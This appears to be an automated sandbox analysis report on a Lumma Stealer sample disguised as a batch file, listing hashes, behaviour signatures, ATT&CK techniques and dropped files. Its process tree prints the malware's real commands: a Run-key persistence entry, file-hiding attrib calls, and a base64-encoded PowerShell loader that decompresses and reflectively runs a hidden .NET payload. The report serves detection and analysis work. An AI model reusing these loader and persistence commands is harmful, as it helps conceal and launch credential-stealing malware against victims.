Analysis

  • max time kernel
    145s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-03-2023 14:39

General

  • Target

    particovl.bat

  • Size

    699.1MB

  • MD5

    85e4843ddbeb2ef9a3cdea6497bbdfa9

  • SHA1

    5556ac2aa0d52daa7240877e6df1b60d3969ecec

  • SHA256

    4049b93a33911701f2b975d19db0f91e4ae70ccbeee83a93f3352aa76a0152d8

  • SHA512

    6c875856504f70ac80912f88e61fd67e9e37e0001d4c0a3c1f6703f69f0e3194142b6c93d941a85d2d721e53a2c1c2e1c59665ccd8fbb803419388d1908e8684

  • SSDEEP

    384:Yi56N+inFXIvK0NgMzIR9tFhnvOTSMnZdqEoyZZd5hJUvCUvcmS/lggNbQRq55en:8X+K8xwvWSpmZ5emKAbJ55hz0h

Malware Config

Signatures

  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\particovl.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1456
    • C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v particovl /d "C:\Users\Admin\AppData\Roaming\particovl.bat"
      2⤵
      • Adds Run key to start application
      PID:3000
    • C:\Windows\system32\attrib.exe
      attrib +s +h C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
      2⤵
      • Sets file to hidden
      • Views/modifies file attributes
      PID:3064
    • C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
      C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:524
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2616
      • C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
        C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
        3⤵
        • Executes dropped EXE
        PID:1688
    • C:\Windows\system32\attrib.exe
      attrib -s -h C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
      2⤵
      • Views/modifies file attributes
      PID:1420

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Hidden Files and Directories

2
T1158

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Hidden Files and Directories

2
T1158

Modify Registry

1
T1112

Credential Access

Credentials in Files

2
T1081

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Collection

Data from Local System

2
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
    Filesize

    53KB

    MD5

    06ad34f9739c5159b4d92d702545bd49

    SHA1

    9152a0d4f153f3f40f7e606be75f81b582ee0c17

    SHA256

    474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

    SHA512

    c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    19KB

    MD5

    fcd39cfd0d625de83e80fa936deffc7d

    SHA1

    198eba2d65e5dddaab48587e7473c9970749bdcf

    SHA256

    7ad1427a5ca3c2abf601cf0fe4cb4e06abf811cd26e5fed862eba7f5a10248c7

    SHA512

    fea1305784cd2a75b8caa2738b991d19f5bc397fe34baf80f24557f3471b6c95b577a04756c03593249bb6846b59d573dde549d1d1e59a89764cb0df19b3c5fa

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aea2g5ny.a11.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
    Filesize

    423KB

    MD5

    c32ca4acfcc635ec1ea6ed8a34df5fac

    SHA1

    f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

    SHA256

    73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

    SHA512

    6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

  • C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
    Filesize

    423KB

    MD5

    c32ca4acfcc635ec1ea6ed8a34df5fac

    SHA1

    f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

    SHA256

    73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

    SHA512

    6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

  • C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
    Filesize

    423KB

    MD5

    c32ca4acfcc635ec1ea6ed8a34df5fac

    SHA1

    f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

    SHA256

    73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

    SHA512

    6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

  • memory/524-159-0x0000000005270000-0x0000000005280000-memory.dmp
    Filesize

    64KB

  • memory/524-162-0x0000000007700000-0x000000000773C000-memory.dmp
    Filesize

    240KB

  • memory/524-143-0x00000000056B0000-0x0000000005716000-memory.dmp
    Filesize

    408KB

  • memory/524-154-0x0000000005270000-0x0000000005280000-memory.dmp
    Filesize

    64KB

  • memory/524-155-0x0000000006500000-0x000000000651E000-memory.dmp
    Filesize

    120KB

  • memory/524-156-0x0000000007E40000-0x00000000084BA000-memory.dmp
    Filesize

    6.5MB

  • memory/524-157-0x0000000006A20000-0x0000000006A3A000-memory.dmp
    Filesize

    104KB

  • memory/524-158-0x0000000005270000-0x0000000005280000-memory.dmp
    Filesize

    64KB

  • memory/524-142-0x0000000005610000-0x0000000005632000-memory.dmp
    Filesize

    136KB

  • memory/524-160-0x0000000005270000-0x0000000005280000-memory.dmp
    Filesize

    64KB

  • memory/524-161-0x0000000005270000-0x0000000005280000-memory.dmp
    Filesize

    64KB

  • memory/524-149-0x0000000005790000-0x00000000057F6000-memory.dmp
    Filesize

    408KB

  • memory/524-139-0x0000000003010000-0x0000000003046000-memory.dmp
    Filesize

    216KB

  • memory/524-140-0x0000000005270000-0x0000000005280000-memory.dmp
    Filesize

    64KB

  • memory/524-141-0x00000000058B0000-0x0000000005ED8000-memory.dmp
    Filesize

    6.2MB

  • memory/1688-180-0x0000000000400000-0x0000000000507000-memory.dmp
    Filesize

    1.0MB

  • memory/1688-184-0x0000000000400000-0x0000000000507000-memory.dmp
    Filesize

    1.0MB

  • memory/1688-186-0x0000000000400000-0x0000000000507000-memory.dmp
    Filesize

    1.0MB

  • memory/1688-187-0x0000000000400000-0x0000000000507000-memory.dmp
    Filesize

    1.0MB

  • memory/1688-188-0x0000000000400000-0x0000000000507000-memory.dmp
    Filesize

    1.0MB

  • memory/2616-176-0x0000000002960000-0x0000000002970000-memory.dmp
    Filesize

    64KB

  • memory/2616-177-0x0000000002960000-0x0000000002970000-memory.dmp
    Filesize

    64KB

  • memory/2616-174-0x0000000002960000-0x0000000002970000-memory.dmp
    Filesize

    64KB

  • memory/2616-173-0x0000000002960000-0x0000000002970000-memory.dmp
    Filesize

    64KB